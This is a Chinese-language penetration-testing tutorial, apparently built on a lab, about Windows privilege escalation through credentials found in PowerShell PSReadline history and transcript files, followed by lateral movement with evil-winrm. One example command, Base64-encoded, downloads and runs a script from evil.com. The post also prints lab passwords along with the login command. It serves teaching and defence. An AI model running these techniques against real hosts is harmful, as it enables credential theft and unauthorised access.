**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集 ➢ Windows权限提升 ➢ 利用PowerShell获取敏感信息 🔥🔥🔥
▶ 漏洞检测
▶ 初始立足点▶ 权限提升
▶ 横向移动▶ 报告/分析
▶ 教训/修复
目录
[1.1 枚举Windows:搜索主机的敏感信息](#1.1 枚举Windows:搜索主机的敏感信息)
[1.1.1 利用PowerShell获取敏感信息](#1.1.1 利用PowerShell获取敏感信息)
[1.1.1.1 PowerShell日志记录机制](#1.1.1.1 PowerShell日志记录机制)
[1.1.1.2 探索用户的PowerShell历史记录](#1.1.1.2 探索用户的PowerShell历史记录)
[1.1.1.3 探索刚发现的powershell转录文件的敏感信息](#1.1.1.3 探索刚发现的powershell转录文件的敏感信息)
[1.1.2 使用发现的凭证实现powershell远程会话](#1.1.2 使用发现的凭证实现powershell远程会话)
[1.1.3 使用evil-winrm工具通过WinRM协议实现远程命令执行](#1.1.3 使用evil-winrm工具通过WinRM协议实现远程命令执行)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.Windows权限提升
在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升。
**📊 权限提升三大路径:**本文继续进行windows枚举:搜索目标主机上的敏感信息。
| 阶段 | 目标 | 关键方法 |
|---|---|---|
| 1. 枚举Windows | 获取系统情报 | 手动搜索 + 自动化工具 |
| 2. 利用Windows服务 | 攻击服务漏洞 | 服务配置缺陷、权限滥用 |
| 3. 利用其他组件 | 扩大攻击面 | 计划任务、系统漏洞利用 |
1.1 枚举Windows:搜索主机的敏感信息
1.1.1 利用PowerShell获取敏感信息
在前文中,我们使用明文文件中找到的敏感信息 来提升我们的权限。但,随着企业安全意识的提升,敏感信息 已较少明文存储于文本文件中。同时,为应对日益增长的网络威胁,企业普遍加强了系统监控,尤其是记录PowerShell执行的命令与操作,以便追踪用户行为、识别异常活动并调查安全事件。
PowerShell作为关键的信息源,其日志记录机制(如转录 和脚本块日志 )能详细捕获用户输入、输出及脚本的原始代码 ,为防御者提供强大审计能力。然而,这些日志本身也可能包含凭证、路径等敏感信息,若被攻击者获取,便可成为权限提升或横向移动的利用资源。
因此,PowerShell日志在安全防御中扮演着双重角色,既是有力的监控工具,也需防范其自身成为信息泄露的源头。
1.1.1.1 PowerShell日志记录机制
默认设置下,Windows对PowerShell活动的记录较为有限。为满足安全审计需求,企业常主动启用以下两种关键日志机制:
| 机制 | 记录内容 | 特点与存储 |
|---|---|---|
| PowerShell转录(Transcription) | 记录用户在PowerShell会话中输入的命令及输出结果,如同**"肩并肩"**观察用户操作。 | 通常信息保存在:++++用户的主目录、所有用户的中央目录或从所有配置的机器收集文件的网络共享++++中,便于统一收集分析。 |
| PowerShell脚本块日志(Script Block Logging) | 记录执行脚本或命令的完整源代码,包括解密/解码后的原始内容(如Base64编码的命令)。 | 深入记录执行逻辑,即使命令经过混淆或编码,也能还原其真实意图,存储在Windows事件日志中。 |
两者的核心区别在于:一个记录"发生了什么",另一个记录"如何发生的"。
用两个生动的比喻来理解:
-
PowerShell 转录 :像一个 "会议记录员" 或 "屏幕录像机"。
-
它做什么:忠实地记录下所有人在会议(PowerShell窗口)中说的话(输入的命令)和得到的回应(输出的结果)。
-
你看到什么 :你看到的是完整的对话流,知道用户执行了
Get-Process,然后系统返回了一大串进程列表。你了解操作的过程和直接结果。 -
局限性 :如果用户输入的是一个复杂的、事先写好的脚本文件(
.ps1),记录员只会记下运行脚本的这个动作(例如.\hack.ps1)和脚本运行后屏幕显示的结果,但不会自动展示脚本文件内部具体的代码内容。
-
-
PowerShell 脚本块日志 :像一台 "源代码录像机" 或 "魔法透视镜"。
-
它做什么 :它不满足于只看屏幕。每当有任何代码块(命令或脚本)要被执行时,它会直接深入引擎内部,将准备执行的原始源代码拍下来、存起来。
-
你看到什么 :你看到的是代码的"本质"。即使用户用Base64编码、压缩、混淆了一长串恶意命令,这台录像机也会在它被解码、执行前,将其原始、解密后的真面目完整地记录下来。
-
强大之处:它是对抗混淆和隐匿攻击的利器。攻击者常用的"无文件攻击"或编码命令,在它面前几乎无所遁形。
-
核心区别对比表:
| 特性 | PowerShell 转录 (Transcription) | PowerShell 脚本块日志 (Script Block Logging) |
|---|---|---|
| 记录对象 | 交互式会话的输入和输出(I/O) | 执行代码块的源代码(Source Code) |
| 比喻 | 会议记录员 / 屏幕录像机 | 源代码录像机 / 魔法透视镜 |
| 主要目的 | 记录操作过程 和直接结果,用于行为审计。 | 记录执行内容 的本质,用于深度分析和取证。 |
| 关键优势 | 了解操作的上下文和顺序。 | 能看透编码和混淆 ,捕获攻击的原始载荷。 |
| 存储位置 | 文本文件(.txt或.log),通常保存在本地目录或共享路径。 |
Windows事件日志(如 Microsoft-Windows-PowerShell/Operational)。 |
| 攻击者视角 | 可能从中找到密码、路径、命令结果等敏感信息。 | 可能暴露其攻击工具、脚本逻辑、解密后的命令,风险极高。 |
| 防御者视角 | 用于复查用户或自动化任务做了"什么"。 | 用于分析恶意脚本是"如何"构建和隐藏的。 |
一个简单的例子:
假设攻击者在++PowerShell中++执行以下经过Base64编码的命令来下载恶意软件:
bash
> powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcwBjAHIAaQBwAHQALgBwAHMAMQAnACkA
-
转录日志会记录:
PS C:\> powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcwBjAHIAaQBwAHQALgBwAHMAMQAnACkA(可能还会记录一些后续输出,但你看不懂这个命令本身在做什么)
-
脚本块日志会记录:
脚本块文本 :
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')(日志直接展示了解码后的、清晰的恶意命令:从网络下载并执行脚本。)
总结 :转录是行为 的日记,脚本块日志是意图 的蓝图。对于安全防御来说,脚本块日志是更强大、更深层次的监控手段 ,它能有效对抗高级逃避技术。而对于攻击者而言,脚本块日志是他们最想禁用或清理的痕迹,因为其中泄露了他们的"武功秘籍"。
1.1.1.2 探索用户的PowerShell历史记录
在敏感信息明文文件减少的背景下,攻击者转向挖掘系统日志与历史记录。现在演示如何通过PowerShell历史记录 与PSReadline模块检索潜在敏感信息。
我们将再次连接到运行在用户dave下的绑定shell的端口4444,并启动PowerShell。在检查是否启用了PowerShell脚本块日志记录 或PowerShell转录记录 之前,应始终**++++检查用户的PowerShell历史记录++++**。
Clear-History的"陷阱":
管理员常使用 Clear-History 命令清除痕迹,但此命令仅清除PowerShell标准历史 (由 Get-History 显示)。从PowerShell v5开始引入的 PSReadline模块 (负责命令行编辑与历史)会独立保存一份完整历史记录 ,且不受 Clear-History 命令清理的影响。这是许多管理员未知的安全盲点!
攻击者操作步骤与发现:
| 步骤 | 命令/操作 | 目的与发现 |
|---|---|---|
| ① 检查标准历史 | Get-History |
发现无记录,说明管理员已执行过清理。 |
| ② 定位PSReadline历史文件 | (Get-PSReadlineOption).HistorySavePath |
关键突破:获取PSReadline独立历史文件的保存路径(通常为用户目录下的文本文件)。 |
| ③ 分析历史文件内容 | 查看该文件内容 | 发现一系列未在标准历史中显示的敏感操作记录。 |
1.探索powershell历史命令
bash
> Clear-History

含义:
-
历史记录的"双轨制" :PowerShell自v5起,历史记录由两部分组成:标准命令历史(可通过
Get-History查看)和 PSReadline模块 独立维护的历史。 -
Clear-History的"假安全" :管理员常用的
Clear-History命令仅能清除标准历史 ,而 PSReadline的历史记录完整保留,造成安全清理不彻底的严重隐患。 -
攻击者的突破口 :攻击者通过定位PSReadline历史文件(其路径可通过
(Get-PSReadlineOption).HistorySavePath获取),可轻易恢复被管理员认为已删除的敏感命令、密码及连接信息。 -
核心安全教训 :完整的PowerShell痕迹清理必须包含删除PSReadline历史文件 (默认位于用户目录下),仅运行
Clear-History无法提供有效防护。
2.探索PSReadline模块中的历史命令记录
bash
> (Get-PSReadlineOption).HistorySavePath

含义:
从PSReadline模块 中检索历史命令记录。可使用Get-PSReadlineOption来获取PSReadline模块的信息。上图显示了来自PSReadline的++++历史文件++++的路径。让我们打开阅读其内容:

攻击者通过分析PSReadline历史文件 ,还原了用户dave的关键操作序列:
-
凭据管理操作:
-
用户注册了KeePass密码数据库 (
Register-SecretVault)。 -
创建一条名为 "Server02 Admin PW" 的凭据,其密码 "paperEarMonitor33@" 被明文记录,可能用于其他系统。
-
-
无效的清理操作:
- 用户执行了
Clear-History,但该操作并未清除PSReadline模块独立保存的历史记录,造成了安全的假象。(用户自己还不知道这个疏忽~)
- 用户执行了
-
会话记录操作:
- 用户使用
Start-Transcript启动了PowerShell转录,并指定了转录文件的保存路径 ,这为攻击者提供了另一个潜在的信息源。
- 用户使用
-
远程连接证据:
- 用户通过
Enter-PSSession连接到远程主机 CLIENTWK220 ,并使用了凭据变量$cred。由于创建$cred凭据对象的命令未被记录在历史记录中,攻击者无法直接从此处获取其具体内容(用户名、密码)。
- 用户通过
此过程揭示出:PSReadline历史文件是一个独立且常被忽视的日志源 ,其中可能直接暴露明文密码、操作意图及系统连接信息,是攻击者进行权限提升和横向移动的重要情报来源。防御者若仅依赖
Clear-History进行清理,将留下严重的安全隐患。
3.攻击者可利用的方向分析
-
密码复用尝试 :立即尝试使用密码
paperEarMonitor33@登录当前及其他系统(如CLIENTWK220)。 -
定位转录文件 :前往路径
C:\Users\Public\Transcripts\transcript01.txt查找更丰富的会话记录。 -
会话与凭据分析 :尽管未直接捕获
$cred的明文,但此记录证实了到CLIENTWK220的管理连接,可作为重点攻击目标。
1.1.1.3 探索刚发现的powershell转录文件的敏感信息
通过对转录文件 C:\Users\Public\Transcripts\transcript01.txt 的分析。
我们大胆猜想: PowerShell转录的命令是在输入Enter-PSSession (启动远程PowerShell会话)之前 开始,因此转录文件很可能包含用于创建存储在变量$cred 中的PSCredential对象的明文凭据信息:

让我们开始阅读powershell转录文件:

含义:
凭据创建过程:
> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
将明文密码"qwertqwertqwert123!!"转换为一个加密的SecureString对象,并将其保存在变量$password中。-AsPlainText告诉 ConvertTo-SecureString 命令将输入的文本视为普通文本(即:明文密码)。
> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
使用用户名daveadmin 和之前创建的**加密密码password** 创建了一个新的PSCredential对象,并将其保存在变量cred中。PSCredential 是存储用户名和密码的安全对象!
关联历史操作:
> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
使用**$cred的凭据**(用户名daveadmin和密码)连接到名为CLIENTWK220 的远程计算机,并启动一个交互式PowerShell 会话。该命令之前出现在PSReadline模块中检索历史命令记录中,证实了这是同一次远程连接会话。
上述命令是用WinRM协议进行远程操作。
此案例表明,PowerShell转录文件 与 PSReadline历史文件 在记录上存在互补性。攻击者通过结合两者,能够完整拼凑出用户意图隐藏的敏感操作序列(包括密码的明文转换过程),从而获得可用于横向移动的域内有效凭据。
1.1.2 使用发现的凭证实现powershell远程会话
现在,我们(模拟攻击者)在当前shell上使用从转录文件中获取的完整命令和凭据,实现以daveadmin的身份在CLIENTWK220上启动PowerShell远程会话。

远程会话建立成功 :成功使用凭证(daveadmin / qwertqwertqwert123!!)通过WinRM协议连接到目标主机 CLIENTWK220 。然后,基础身份验证命令++whoami++可正常执行并返回结果。
但遇到了技术限制:大多数其他命令无输出或无法执行。

关键发现: 此现象揭示了在绑定Shell 环境(如通过Netcat等获得的非交互式Shell)中,通过WinRM发起交互式PowerShell远程会话(Enter-PSSession)可能导致通道冲突或会话退化,使得复杂命令的执行受限。
核心结论 :尽管完整凭据的获取意味着横向移动在身份验证层面 已成功,但在特定受限的初始攻击上下文中,直接建立功能完全的远程管理会话仍可能遇到技术障碍。攻击者通常需要转换方法,例如:使用Invoke-Command执行单条命令,或通过其他协议(如SMB、RDP)来完全利用该凭据。接下来,使用++evil-winrm工具++来执行命令。
1.1.3 使用evil-winrm工具通过WinRM协议实现远程命令执行
使用从日志中获取的凭据和专门的渗透测试工具,攻击者成功实现对目标主机的完全控制:
-
工具选择 :为规避在绑定Shell中直接使用
Enter-PSSession的兼容性问题,攻击者转而使用 Evil-WinRM ------一个专为通过WinRM协议进行远程渗透测试设计的工具。 -
使用命令:
bashevil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"在正确转义密码中的特殊字符(\!)后,攻击者建立了稳定、功能完整 的远程PowerShell会话,可无障碍执行命令。

-
根本原因与防御 :此阶段攻击的成功,根源在于PSReadline历史与转录文件未妥善清理或保护 ,泄露了关键凭据。管理员可通过配置
Set-PSReadlineOption -HistorySaveStyle SaveNothing来禁用PSReadline历史记录,或定期手动清除相关历史文件,以阻断此信息泄露途径。
最终结论:PowerShell的操作痕迹(历史与转录文件)是企业安全审计的双刃剑。若管理不当,它们会从防御工具转变为攻击者的"信息金矿",直接导致横向移动与权限提升。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
